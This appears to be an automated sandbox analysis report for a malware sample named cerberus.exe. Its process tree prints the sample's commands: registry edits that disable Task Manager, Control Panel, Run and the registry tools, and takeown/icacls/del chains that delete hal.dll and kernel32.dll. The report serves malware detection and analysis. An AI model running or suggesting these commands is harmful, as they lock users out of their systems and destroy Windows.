Overview

overview

8

Static

static

3

cerberus.exe

windows7-x64

8

cerberus.exe

windows10-2004-x64

8

Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/07/2024, 14:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    cerberus.exe
  • Size 1.2MB
  • Sample240731-rrv2raxgpm
  • SHA256 6ffacc31c91e68c5358deef39ac696f2af8b553d3cf675e4a7085d60c3a1de34
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10
discoveryevasionexploit

Malware Config

Signatures

  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 5 IoCs
  • Runs regedit.exe 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cerberus.exe
    "C:\Users\Admin\AppData\Local\Temp\cerberus.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2920
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:5052
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:1876
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:4920
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
      2⤵
      • Modifies registry key
      PID:2376
    • C:\Windows\System32\reg.exe
      "C:\Windows\System32\reg.exe" add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
      2⤵
      • Disables RegEdit via registry modification
      • Modifies registry key
      PID:4824
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\hal.dll && icacls c:\windows\system32\hal.dll /grant Everyone:(F) && del c:\windows\system32\hal.dll /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\hal.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:5068
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\hal.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:4168
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c takeown /f c:\windows\system32\kernel32.dll && icacls c:\windows\system32\kernel32.dll /grant Everyone:(F) && del c:\windows\system32\kernel32.dll /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4232
      • C:\Windows\system32\takeown.exe
        takeown /f c:\windows\system32\kernel32.dll
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        • Suspicious use of AdjustPrivilegeToken
        PID:3484
      • C:\Windows\system32\icacls.exe
        icacls c:\windows\system32\kernel32.dll /grant Everyone:(F)
        3⤵
        • Possible privilege escalation attempt
        • Modifies file permissions
        PID:3728
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /0
    1⤵
      PID:3464
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {24AC8F2B-4D4A-4C17-9607-6A4B14068F97} -Embedding
      1⤵
        PID:3680
      • C:\Windows\regedit.exe
        "C:\Windows\regedit.exe"
        1⤵
        • Runs regedit.exe
        PID:4964

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/2920-0-0x00007FF66ED80000-0x00007FF66EF1F000-memory.dmp
            Download

            memory/2920-1-0x00007FF66ED80000-0x00007FF66EF1F000-memory.dmp
            Download